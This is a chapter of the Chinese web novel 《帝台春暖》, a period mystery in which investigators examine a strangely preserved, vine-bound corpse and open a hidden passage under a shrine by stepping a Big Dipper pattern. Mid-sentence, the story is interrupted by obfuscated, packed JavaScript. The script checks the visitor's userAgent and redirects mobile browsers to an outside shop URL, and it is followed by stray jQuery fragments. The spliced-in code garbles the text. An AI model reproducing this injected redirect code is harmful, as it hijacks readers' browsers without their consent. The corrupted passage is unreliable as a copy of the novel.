60. 法门(上)
作品:《帝台春暖》 几束藤蔓从神像的莲座底部钻出,顺着女子的双足一路攀援,将她捆缚在那个黑洞之中。
江楚禾探身上前,以两指搭在女子颈侧,指尖下的皮肤一片冰凉,颈脉毫无搏动,探其鼻息,也没有呼吸。
她将手上移,翻开女子的眼睑。
身侧之人立即掌灯凑近,江楚禾与他对视一眼,又回过头去看黑暗中的那双眼睛。
女子的褐色瞳孔已经扩散固定,对灯火毫无反应,但奇怪的是,她的双眼黑白分明,全无死后该有的雾状浑浊。
江楚禾收回手,又轻轻抬起女子交叠在膝上的腕子,上面似乎有一层黏腻的物质,其下肌肤手感冰凉,皮肉弹性尚存,但绝无活人的温软,关节处的活动有些滞涩,却又并非尸僵板直,倒像是内里被什么胶状物质给固定住了一般。
纤细十指自然伸开,但关节处已然僵直,甲床上却无淤紫,撩起长袖后亦不见尸斑瘀痕,贴近其口鼻与颈侧细细嗅闻,也没有死尸应当发出的腐臭,反而透着一股淡淡的植物气息。
江楚禾的目光又落向那女子身上的藤蔓,它们缠绕得极紧,几乎要陷进皮肉里面,看上去就像是与她生长连结在一起,绝非短日可成,足见此人并非新丧。
她直起身,向付昂一福。
“付大人,此女的确已无生机。无脉无息,瞳孔散尽,皆是死征无疑,但其有违常理之处,亦有不少。”
她将查验所得一一说明,而后断言道:“此人故去应已有一段时日,只是经由某种特殊的药物或秘法处理,方才形成此等异状。”
付昂闻言,眉头紧锁。
藤蔓缠身,绝非寻常葬俗,而植物长于不见天日之处,还活得这般生机勃勃,更是他闻所未闻之事。
其中必有蹊跷。
他上前一步,蹲在神像背后的开口处,避开女子小腿,沿着虬结的藤蔓向下摸索。手中藤皮粗糙坚韧,越往下就越显得粗壮,它们在莲座底部聚集成一股,深深扎入石缝之中,再也无法探明去向。
“藤蔓是自莲花座里生长出来的,瞧不出通往何处,又或许……只是在石座内盘根?”付昂撤回手,改换侧面缝隙继续观察。
为防明火撩到易燃的绿藤或是那女子的衣裙,他不敢将光亮凑得太近,且又受限于角度,在几番努力之后,依然看不真切。
见付昂探查费力,桑恬也默默上前协助,她半跪在洞口的另一侧,轻轻拽动女子肩上的一根藤蔓,试图寻到它的源头,然而此举也是白费工夫,唯有女子的头颅因肩颈被微微带动,向外侧偏转了几分。
一直隐藏在阴影中的面容,终于暴露在摇曳的灯火之中。
桑恬下意识抬头,视线在那张苍白的脸上定格一瞬,又突然瞪大眼睛。
“大人!”她急忙从怀中掏出一卷画像,“你看这女子的鼻梁,还有唇形……简直和阮百年的一模一样!”
“的确极为相似。”付昂就着她指尖虚点的位置仔细对照,点了点头,不由猜道:“莫非此女是阮百年的亲眷?我记得官府案卷有载,他妻子早逝,膝下有一独女在数年前不知所踪。”
“此言确有一定道理,但办案当以实证为重,切不可武断猜测。”司徒靖接过话头,“容貌相似,可为参考,但不可先入为主做出判断。世间多有血缘至亲而相貌迥异者,亦不乏毫无瓜葛却容貌相近之人。”
话音方落,江楚禾若有所思地点点头。
付昂听罢,也深以为然:“还是晏安公子思虑周详,那就暂时不提此女与阮百年相貌接近一事,先画下肖像,广贴告示,向全城百姓征集线索,确定此女身份。”
说着,他又将手中画像高高举起,认真端详。
江楚禾这才看清那幅肖像,画中男子眼眶深陷,颧骨突出,脖颈侧面还有状如蜘蛛的红色印记。
“付大人!”她指着画像上的蜘蛛痣,“画中之人面色晦黄,目窠深陷,颈侧见红丝赤缕,皆是肝病重笃,已入晚期的征象。”
面前几人听闻此言,俱是目光一凝。
江楚禾继续道:“此人气血衰败,恐非寻常药石可医,付大人不妨关注城中犀角、醋制鳖甲等珍稀药材的流向。”
自打义庄遇袭那晚,付昂就差人在城门严防死守,那伙歹人眼下必然还在弋陵,只是不知藏匿于何处,若能借此机会顺藤摸瓜,或可寻到阮百年的藏身之所。
付昂闻之,立即精神一振,忙拱手致谢:“多谢江娘子,这条线索至关重要。”
江楚禾浅笑着向他致意,正欲说些谦辞,脚下却突然传来一阵敲击声。
“咚!咚!咚!”
那声音沉重而又急促,自石砖深处轰然传出。
桑恬最先做出反应,她单膝跪地,将耳朵贴在传出声响的砖面上,凝神辨听着下面的动静。
未几,她抬头道:“庙下有空洞,深度超一丈,敲击声源自地洞顶部,力道集中,应是人为。”
“莫非是这花圃地底设有密道,里面藏着什么人?”付昂心下一紧,立即下令:“事不宜迟,快找密道入口!”
桑恬领命,赶紧在小庙中搜索起来,从香炉到烛台,还有那个已被证实设有机关的莲花座都挨个试过一遍,却是一无所获。
正在几人一筹莫展之际,静立一旁的司徒靖突然向前两步,目光紧紧锁在小庙正中那片看似寻常的石砖上。
“地砖,有异。”
修长的手指拂过几块地砖之间的缝隙,又虚悬在他脚下的那块砖石上。
“此砖与相邻砖石的接缝比别处略宽一些,且边缘平滑,似是经常活动所致。”
经他点拨,桑恬立刻半跪下来,以那块石砖为起点,快速检视起周围的砖块,果然有所发现。
“这里!”她很快指向脚边的另一块砖,又遥遥伸手,“还有从此处数的左侧第三块,都有类似的情况。”
司徒靖微微颔首,他早已将异常地砖的位置尽数掌握,桑恬所指出的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145430|192645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几块,的确都在其中。
他环顾四周,庙宇狭小,那九块特殊的石砖已涵盖小庙正中的大部分区域。
“请诸位退至庙门右侧,倚墙而立。”
江楚禾瞬间会意,脱口而出:“你说的可是艮位?”
艮为山,主止定安稳,且那一隅既方便逃离又可以靠墙躲避,确为上佳之选。
两人目光相触,无需多言,就已从眼神中得到答案。
江楚禾没有犹豫,提起裙摆便迅速绕行至小庙的东北角,付昂见状也遵照而行,很快三人便聚在墙角,桑恬横刀在前,时刻准备着对任何可能的异动做出反应。
见众人已然就位,司徒靖敛容静气,踏出第一步。
就在足尖落地的那一刻,砖下再度传来敲击的声响,江楚禾的心随之一揪,目光紧紧锁在他的身上,生怕一眨眼的工夫便会出现什么旁的意外。
但司徒靖却对脚下的动静恍若未闻。
他的姿态端然,神情专注,抬脚又向前踏出一步,这下江楚禾已彻底认出他所使用的法门。
正是步罡踏斗。
她曾见过许多道长的禹步,他们皆神色肃穆、仪态端严,但却总会流露出一股“人在行法”的矫揉匠气。
但他却不同。
司徒靖身量奇高,劲瘦挺拔,由寻常人踏出难免会略显局促的方步,让他行来却舒展飘逸,脚步平稳又不失轻盈,足踝力道控制得堪称精准,起落折转间,袍袖破空划出弧线,如鹤翼掠风,似孤鸿踏雪。
与舞蹈一般极具观赏性的身姿相比,那副神情则更显得摄人心魄。
他长睫低垂,眸光凝于身前的方寸之地,眉宇间是一股近乎圣洁的庄严与纯粹,仿佛他并非置身于光线昏昧、空气污浊的诡谲小庙,而是正凌于虚空九天,在以脚步丈量着浩瀚的星图。
当第七步“摇光”踏定,司徒靖突然拧身回旋,将脚步依次落到两个并不在七星序列中的隐位上,然后再顺着先前的北斗往回踏去,整套动作行云流水,伴着地下传来的敲击节奏,更添几分古奥难测的意蕴。
翩然若仙,凛然如神。
让人几乎要忘记自己身处何地、为何而来,就连地下传出的沉闷敲击也渐渐臣服于他所建立的,静谧而又庄严的秩序。
直至落下最后一步,司徒靖收势静立,薄唇轻启。
“九转归元。”
他的声音低沉,却有着如玉磬轻鸣一般的穿透力,好似径直击在众人心头。
江楚禾恍然回神,来自地底的敲击声伴随着机括运转的闷响重新涌入耳畔,她探头看去,只见供桌之下赫然出现了一个约莫三尺见方的幽深洞口。
一股阴寒的气息扑面而来,桑恬擎起灯盏向下探去,只见石壁的边缘如蛛网般覆着层层藤蔓,一路延伸到黑暗的尽头。
就在那一片漆黑之中,男子断断续续的呼救声隐约可闻。
“有……有人……人吗?救……救救……我……”

